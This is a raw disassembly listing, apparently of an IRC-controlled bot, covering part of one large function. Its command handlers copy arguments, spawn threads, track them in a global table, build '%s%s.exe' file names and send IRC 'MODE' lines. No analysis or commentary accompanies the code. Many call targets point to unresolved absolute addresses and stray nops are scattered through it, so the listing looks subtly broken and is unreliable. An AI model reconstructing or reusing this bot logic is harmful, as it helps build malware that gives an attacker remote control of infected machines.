loc_407B44: ; CODE XREF: sub_401ACD+605Fj
call near ptr 2830047h
nop
push eax
push offset unk_42AB9C
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_407B55: ; CODE XREF: sub_401ACD+4EA3j
; sub_401ACD+4EBAj
push [ebp+arg_10]
call sub_41B779
mov [ebp+var_112C], eax
push 7Fh
lea eax, [ebp+var_1230]
push edi
push eax
call sub_41B5F0
push [ebp+arg_0]
call sub_41B779
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1130], eax
lea eax, [ebp+var_11B0]
push [ebp+var_88]
mov [ebp+var_1238], esi
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_111C], eax
push [ebp+var_1130]
lea eax, [ebp+var_1230]
mov [ebp+var_1120], edi
push eax
push [ebp+var_112C]
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AA6C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 18h
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_1128], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1238]
push ebx
push eax
push offset loc_4103AA
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_1128]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_407C41
loc_407C2B: ; CODE XREF: sub_401ACD+6172j
cmp [ebp+var_1118], ebx
jnz loc_403DA0
push 32h
call near ptr 2820566h
nop
jmp short loc_407C2B
; ---------------------------------------------------------------------------
loc_407C41: ; CODE XREF: sub_401ACD+615Cj
nop
call near ptr 2830047h
push eax
push offset unk_42AA28
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_407C52: ; CODE XREF: sub_401ACD+4E75j
; sub_401ACD+4E8Cj
push 0FFh
lea eax, [ebp+var_2878]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 0FFh
lea eax, [ebp+var_2778]
push edi
push eax
call sub_41B5F0
push [ebp+arg_0]
mov [ebp+var_2674], ebx
call sub_41B779
mov [ebp+var_2670], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407CAB
push 10h
push ebx
push eax
call sub_41BDC5
add esp, 0Ch
mov [ebp+var_2668], eax
jmp short loc_407CB1
; ---------------------------------------------------------------------------
loc_407CAB: ; CODE XREF: sub_401ACD+61C8j
mov [ebp+var_2668], ebx
loc_407CB1: ; CODE XREF: sub_401ACD+61DCj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407CC8
push esi
call sub_41B779
pop ecx
mov [ebp+var_266C], eax
jmp short loc_407CCE
; ---------------------------------------------------------------------------
loc_407CC8: ; CODE XREF: sub_401ACD+61EAj
mov [ebp+var_266C], ebx
loc_407CCE: ; CODE XREF: sub_401ACD+61F9j
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2664], eax
lea eax, [ebp+var_28F8]
mov [ebp+var_28FC], esi
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_265C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_2660], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset unk_42A9FC
push eax
call sub_41B886
push esi
lea eax, [ebp+var_2C4]
push 1Dh
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2678], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_28FC]
push ebx
push eax
push offset loc_4163F9
push ebx
push ebx
call near ptr 282060Ah
nop
mov ecx, [ebp+var_2678]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_407D7F
loc_407D69: ; CODE XREF: sub_401ACD+62B0j
cmp [ebp+var_2658], ebx
jnz loc_407278
push 32h
nop
call near ptr 2820566h
jmp short loc_407D69
; ---------------------------------------------------------------------------
loc_407D7F: ; CODE XREF: sub_401ACD+629Aj
nop
call near ptr 2830047h
push eax
push offset unk_42A9BC
jmp loc_407269
; ---------------------------------------------------------------------------
loc_407D90: ; CODE XREF: sub_401ACD+4E47j
; sub_401ACD+4E5Ej
push 7Fh
lea eax, [ebp+var_3490]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3410]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3390]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3310]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_328C], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3288], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_3494], esi
push [ebp+arg_10]
push offset unk_42A980
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 12h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_3290], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3494]
push ebx
push eax
push offset byte_414A91
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_3290]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_407E67
loc_407E51: ; CODE XREF: sub_401ACD+6398j
cmp [ebp+var_3284], ebx
jnz loc_407278
push 32h
nop
call near ptr 2820566h
jmp short loc_407E51
; ---------------------------------------------------------------------------
loc_407E67: ; CODE XREF: sub_401ACD+6382j
nop
call near ptr 2830047h
push eax
push offset unk_42A948
jmp loc_407269
; ---------------------------------------------------------------------------
loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj
; sub_401ACD+4D31j
push 7Fh
lea eax, [ebp+var_3068]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2FE8]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2F68]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2EE8]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E64], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_2E60], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_306C], esi
push [ebp+arg_10]
push offset unk_42A918
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Eh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_2E68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_306C]
push ebx
push eax
push offset dword_4137CC
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_2E68]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_407F4F
loc_407F39: ; CODE XREF: sub_401ACD+6480j
cmp [ebp+var_2E5C], ebx
jnz loc_407278
push 32h
nop
call near ptr 2820566h
jmp short loc_407F39
; ---------------------------------------------------------------------------
loc_407F4F: ; CODE XREF: sub_401ACD+646Aj
nop
call near ptr 2830047h
push eax
push offset unk_42A8E0
jmp loc_407269
; ---------------------------------------------------------------------------
loc_407F60: ; CODE XREF: sub_401ACD+4BF1j
; sub_401ACD+4C08j ...
push 7Fh
lea eax, [ebp+var_3CE4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3C64]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3BE4]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3B64]
push [ebp+var_88]
push eax
call sub_41B5F0
push 20h
lea eax, [ebp+var_3AE4]
push [ebp+arg_8]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A64], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3A60], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_3CEC], esi
push [ebp+arg_10]
push offset unk_42A8B0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Dh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_3CE8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CEC]
push ebx
push eax
push offset byte_412A53
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_3CE8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_408048
loc_408032: ; CODE XREF: sub_401ACD+6579j
cmp [ebp+var_3A5C], ebx
jnz loc_407278
push 32h
nop
call near ptr 2820566h
jmp short loc_408032
; ---------------------------------------------------------------------------
loc_408048: ; CODE XREF: sub_401ACD+6563j
call near ptr 2830047h
nop
push eax
push offset unk_42A878
jmp loc_407269
; ---------------------------------------------------------------------------
loc_408059: ; CODE XREF: sub_401ACD+4BC3j
; sub_401ACD+4BDAj
push 7Fh
lea eax, [ebp+var_1778]
push [ebp+arg_10]
push eax
call sub_41B5F0
push edi
call sub_41B779
push 3Fh
mov [ebp+var_1628], eax
push [ebp+arg_0]
lea eax, [ebp+var_16F8]
push eax
call sub_41B5F0
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_4080A4
push 3Fh
lea eax, [ebp+var_16B8]
push esi
push eax
call sub_41B5F0
add esp, 0Ch
loc_4080A4: ; CODE XREF: sub_401ACD+65C3j
lea eax, [ebp+var_16F8]
mov [ebp+var_1624], 1
push eax
lea eax, [ebp+var_1778]
push [ebp+var_1628]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42A848
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Fh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_1620], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_177C]
push ebx
push eax
push offset sub_4017ED
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_1620]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_408130
loc_40811A: ; CODE XREF: sub_401ACD+6661j
cmp [ebp+var_161C], ebx
jnz loc_406CDE
push 32h
nop
call near ptr 2820566h
jmp short loc_40811A
; ---------------------------------------------------------------------------
loc_408130: ; CODE XREF: sub_401ACD+664Bj
nop
call near ptr 2830047h
push eax
push offset dword_42A80C
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_408141: ; CODE XREF: sub_401ACD+4B83j
; sub_401ACD+4B9Aj
push edi
call sub_41B779
cmp eax, ebx
pop ecx
mov [ebp+var_1D64], eax
jle loc_408234
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1EEC]
push esi
push eax
call sub_41B980
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D60], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF0], eax
lea eax, [ebp+var_1DEC]
push esi
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D5C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_1D58], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset unk_42A7E0
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 15h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_1D6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF0]
push ebx
push eax
push offset byte_412E9D
push ebx
push ebx
call near ptr 282060Ah
nop
mov ecx, [ebp+var_1D6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_408223
loc_408211: ; CODE XREF: sub_401ACD+6754j
cmp [ebp+var_1D54], ebx
jnz short loc_40828B
push 32h
nop
call near ptr 2820566h
jmp short loc_408211
; ---------------------------------------------------------------------------
loc_408223: ; CODE XREF: sub_401ACD+6742j
call near ptr 2830047h
nop
push eax
push offset unk_42A7A8
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_408234: ; CODE XREF: sub_401ACD+6683j
push offset unk_42A770
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_40823E: ; CODE XREF: sub_401ACD+4B55j
; sub_401ACD+4B6Cj
push edi
push [ebp+arg_10]
nop
call near ptr 2840C51h
test eax, eax
jz short loc_40826B
push edi
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push offset unk_42A74C
push 200h
push eax
call sub_41B980
add esp, 14h
jmp short loc_40828B
; ---------------------------------------------------------------------------
loc_40826B: ; CODE XREF: sub_401ACD+677Dj
push offset dword_42A740
call sub_41814C
pop ecx
push eax
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
loc_408288: ; CODE XREF: sub_401ACD+2F2Aj
; sub_401ACD+556Fj
add esp, 0Ch
loc_40828B: ; CODE XREF: sub_401ACD+2136j
; sub_401ACD+2ECCj ...
cmp [ebp+var_8], ebx
jnz loc_4083BC
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_4082A8: ; CODE XREF: sub_401ACD+57C6j
call sub_409A72
add esp, 14h
jmp loc_4083BC
; ---------------------------------------------------------------------------
loc_4082B5: ; CODE XREF: sub_401ACD+4B27j
; sub_401ACD+4B3Ej
push [ebp+arg_10]
lea eax, [ebp+var_3F04]
push 104h
push eax
call sub_41B980
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_4082EF
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4082EF
push eax
lea eax, [ebp+var_3E00]
push eax
call sub_41B886
pop ecx
pop ecx
loc_4082EF: ; CODE XREF: sub_401ACD+6802j
; sub_401ACD+6811j
push [ebp+var_88]
lea eax, [ebp+var_3F84]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F88], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CF8], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF4], eax
lea eax, [ebp+var_3E00]
push eax
lea eax, [ebp+var_3F04]
push eax
push offset unk_42A710
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 24h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_3CFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F88]
push ebx
push eax
push offset byte_416CAD
push ebx
push ebx
call near ptr 282060Ah
nop
mov ecx, [ebp+var_3CFC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_4083A1
loc_40838F: ; CODE XREF: sub_401ACD+68D2j
cmp [ebp+var_3CF0], ebx
jnz short loc_4083BC
push 32h
call near ptr 2820566h
nop
jmp short loc_40838F
; ---------------------------------------------------------------------------
loc_4083A1: ; CODE XREF: sub_401ACD+68C0j
nop
call near ptr 2830047h
push eax
push offset unk_42A6D4
loc_4083AD: ; CODE XREF: sub_401ACD+925j
; sub_401ACD+A63j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_4083BC: ; CODE XREF: sub_401ACD+7E1j
; sub_401ACD+94Cj ...
push 1
pop esi
jmp loc_406D02
; ---------------------------------------------------------------------------
loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j
; sub_401ACD+4B10j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41B590
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push [ebp+arg_10]
mov [ebp+var_63C], esi
call sub_41B779
add esp, 10h
cmp eax, esi
jnz short loc_408403
mov [ebp+var_638], 5
loc_408403: ; CODE XREF: sub_401ACD+692Bj
cmp [ebp+var_C], ebx
jz loc_406CDE
push edi
push [ebp+var_C]
call sub_41B900
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406CDE
lea eax, [ebp+var_E10]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
nop
call near ptr 2800890h
test eax, eax
jnz short loc_40844C
push offset unk_42A6B0
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40844C: ; CODE XREF: sub_401ACD+6973j
push edi
push offset dword_42A694
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_408457: ; CODE XREF: sub_401ACD+4ACBj
; sub_401ACD+4AE2j
push edi
push offset aDark ; "Dark"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085D0
lea eax, [ebp+var_48F0]
push eax
push 104h
nop
call near ptr 284016Dh
push 0FFh
lea eax, [ebp+var_25D0]
push [ebp+arg_10]
push eax
call sub_41B5F0
lea eax, [ebp+var_17D0]
push eax
call sub_40AD80
add esp, 10h
push eax
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_24D0]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41B886
mov eax, [ebp+esi+var_84]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23CC], 1
mov [ebp+var_23C8], ebx
jz short loc_4084EC
push 10h
push ebx
push eax
call sub_41BDC5
add esp, 0Ch
mov [ebp+var_23C0], eax
jmp short loc_4084F2
; ---------------------------------------------------------------------------
loc_4084EC: ; CODE XREF: sub_401ACD+6A09j
mov [ebp+var_23C0], ebx
loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_408509
push esi
call sub_41B779
pop ecx
mov [ebp+var_23C4], eax
jmp short loc_40850F
; ---------------------------------------------------------------------------
loc_408509: ; CODE XREF: sub_401ACD+6A2Bj
mov [ebp+var_23C4], ebx
loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23BC], eax
lea eax, [ebp+var_2650]
mov [ebp+var_2654], esi
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B4], eax
mov eax, [ebp+var_8]
push [ebp+arg_10]
mov [ebp+var_23B8], eax
lea eax, [ebp+var_2C4]
push offset dword_42A65C
push eax
call sub_41B886
push esi
lea eax, [ebp+var_2C4]
push 1Eh
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_23D0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2654]
push ebx
push eax
push offset loc_4163F9
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_23D0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_4085BF
loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j
cmp [ebp+var_23B0], ebx
jnz loc_406CDE
push 32h
call near ptr 2820566h
nop
jmp short loc_4085A9
; ---------------------------------------------------------------------------
loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj
nop
call near ptr 2830047h
push eax
push offset dword_42A620
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4085D0: ; CODE XREF: sub_401ACD+6999j
push offset dword_42A5D8
loc_4085D5: ; CODE XREF: sub_401ACD+2E73j
; sub_401ACD+457Cj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_406CDE
; ---------------------------------------------------------------------------
loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj
; sub_401ACD+4AB4j
push [ebp+var_8C]
push offset dword_42CFF4
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
cmp [ebp+var_C], ebx
jz loc_401E94
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
pop ecx
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A5C8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
push [ebp+arg_10]
call sub_41B779
add esp, 28h
test eax, eax
jle short loc_408673
push [ebp+arg_10]
call sub_41B779
imul eax, 3E8h
pop ecx
push eax
nop
call near ptr 2820566h
loc_408673: ; CODE XREF: sub_401ACD+6B8Ej
push offset dword_42A5B4
call sub_4151AC
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_408687: ; CODE XREF: sub_401ACD+4A6Fj
; sub_401ACD+4A86j
push [ebp+var_8C]
push offset dword_42CFF4
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
cmp [ebp+var_C], ebx
jz loc_409854
push edi
push [ebp+var_C]
call sub_41B900
inc edi
push offset aRepeat ; "repeat"
push edi
mov esi, eax
call sub_41C070
add esp, 10h
test eax, eax
push esi
jz short loc_408745
push [ebp+var_88]
lea eax, [ebp+var_2C4]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A5C8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push offset dword_42A59C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+arg_10]
call sub_41B779
add esp, 14h
test eax, eax
jle loc_409854
push [ebp+arg_10]
call sub_41B779
add eax, [ebp+arg_24]
pop ecx
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_408745: ; CODE XREF: sub_401ACD+6BFAj
push offset unk_42A568
loc_40874A: ; CODE XREF: sub_401ACD+7542j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_408759: ; CODE XREF: sub_401ACD+74CAj
; sub_401ACD+7623j
cmp [ebp+var_8], ebx
jnz short loc_40877A
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj
; sub_401ACD+72C7j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
jmp loc_409853
; ---------------------------------------------------------------------------
loc_40878B: ; CODE XREF: sub_401ACD+4A41j
; sub_401ACD+4A58j
push 7Fh
lea eax, [ebp+var_2214]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2194]
push edi
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2114]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2090], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_208C], eax
lea eax, [ebp+var_2C4]
mov [ebp+var_2218], esi
push offset unk_42A534
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Fh
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2094], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2218]
push ebx
push eax
push offset byte_4143CB
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_2094]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_40884B
loc_408839: ; CODE XREF: sub_401ACD+6D7Cj
cmp [ebp+var_2088], ebx
jnz short loc_408866
push 32h
nop
call near ptr 2820566h
jmp short loc_408839
; ---------------------------------------------------------------------------
loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj
call near ptr 2830047h
nop
push eax
push offset unk_42A4F8
loc_408857: ; CODE XREF: sub_401ACD+6E89j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_408866: ; CODE XREF: sub_401ACD+6D72j
; sub_401ACD+6E6Dj
cmp [ebp+var_8], ebx
jnz loc_409630
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_409628
; ---------------------------------------------------------------------------
loc_408886: ; CODE XREF: sub_401ACD+4A13j
; sub_401ACD+4A2Aj
push 7Fh
lea eax, [ebp+var_23A8]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2328]
push edi
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_22A8]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2224], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_2220], eax
lea eax, [ebp+var_2C4]
mov [ebp+var_23AC], esi
push offset dword_42A4CC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 11h
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2228], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23AC]
push ebx
push eax
push offset byte_413B77
push ebx
push ebx
call near ptr 282060Ah
nop
mov ecx, [ebp+var_2228]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_40894A
loc_408934: ; CODE XREF: sub_401ACD+6E7Bj
cmp [ebp+var_221C], ebx
jnz loc_408866
push 32h
nop
call near ptr 2820566h
jmp short loc_408934
; ---------------------------------------------------------------------------
loc_40894A: ; CODE XREF: sub_401ACD+6E65j
nop
call near ptr 2830047h
push eax
push offset dword_42A490
jmp loc_408857
; ---------------------------------------------------------------------------
loc_40895B: ; CODE XREF: sub_401ACD+49E5j
; sub_401ACD+49FCj
push edi
lea eax, [ebp+var_2C4]
push offset dword_42A488
push eax
call sub_41B886
push [ebp+arg_10]
call sub_41B779
add esp, 10h
loc_408978: ; CODE XREF: sub_401ACD+6F16j
test eax, eax
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
loc_408994: ; CODE XREF: sub_401ACD+7A55j
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A480
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E56C[eax]
call sub_409A2C
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4089BF: ; CODE XREF: sub_401ACD+49B7j
; sub_401ACD+49CEj
push [ebp+esi+var_84]
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A474
push eax
call sub_41B886
push [ebp+arg_10]
call sub_41B779
add esp, 14h
jmp short loc_408978
; ---------------------------------------------------------------------------
loc_4089E5: ; CODE XREF: sub_401ACD+4989j
; sub_401ACD+49A0j
push edi
lea eax, [ebp+var_2C4]
push offset dword_42BB1C
push eax
call sub_41B886
mov esi, [ebp+arg_10]
push esi
call sub_41B779
add esp, 10h
test eax, eax
jle loc_409854
push esi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A480
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E56C[eax]
call sub_409A2C
add esp, 0Ch
push edi
push esi
push offset dword_42A458
loc_408A4B: ; CODE XREF: sub_401ACD+7009j
; sub_401ACD+7078j ...
call sub_415220
jmp loc_404933
; ---------------------------------------------------------------------------
loc_408A55: ; CODE XREF: sub_401ACD+495Bj
; sub_401ACD+4972j
cmp [ebp+var_C], ebx
jz loc_409854
push edi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408A84
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A450
push eax
call sub_41B886
add esp, 0Ch
loc_408A84: ; CODE XREF: sub_401ACD+6FA0j
mov edi, [ebp+arg_10]
push edi
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push edi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A480
push edi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E56C[eax]
call sub_409A2C
add esp, 0Ch
push esi
push edi
push offset dword_42A434
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408ADB: ; CODE XREF: sub_401ACD+492Dj
; sub_401ACD+4944j
cmp [ebp+var_C], ebx
jz loc_409854
push edi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
mov edi, [ebp+arg_10]
push edi
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push edi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push esi
push offset dword_42A480
push edi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E56C[eax]
call sub_409A2C
add esp, 0Ch
push esi
push edi
push offset dword_42A418
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408B4A: ; CODE XREF: sub_401ACD+48FFj
; sub_401ACD+4916j
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push esi
push offset unk_42A3F0
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_408B86: ; CODE XREF: sub_401ACD+48D1j
; sub_401ACD+48E8j
push [ebp+var_8C]
push offset dword_42CFF4
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
push edi
push offset dword_42A3E4
push [ebp+arg_4]
call sub_409A2C
push [ebp+arg_10]
call sub_41B779
imul eax, 3E8h
add esp, 10h
push eax
call near ptr 2820566h
nop
push [ebp+esi+var_84]
push edi
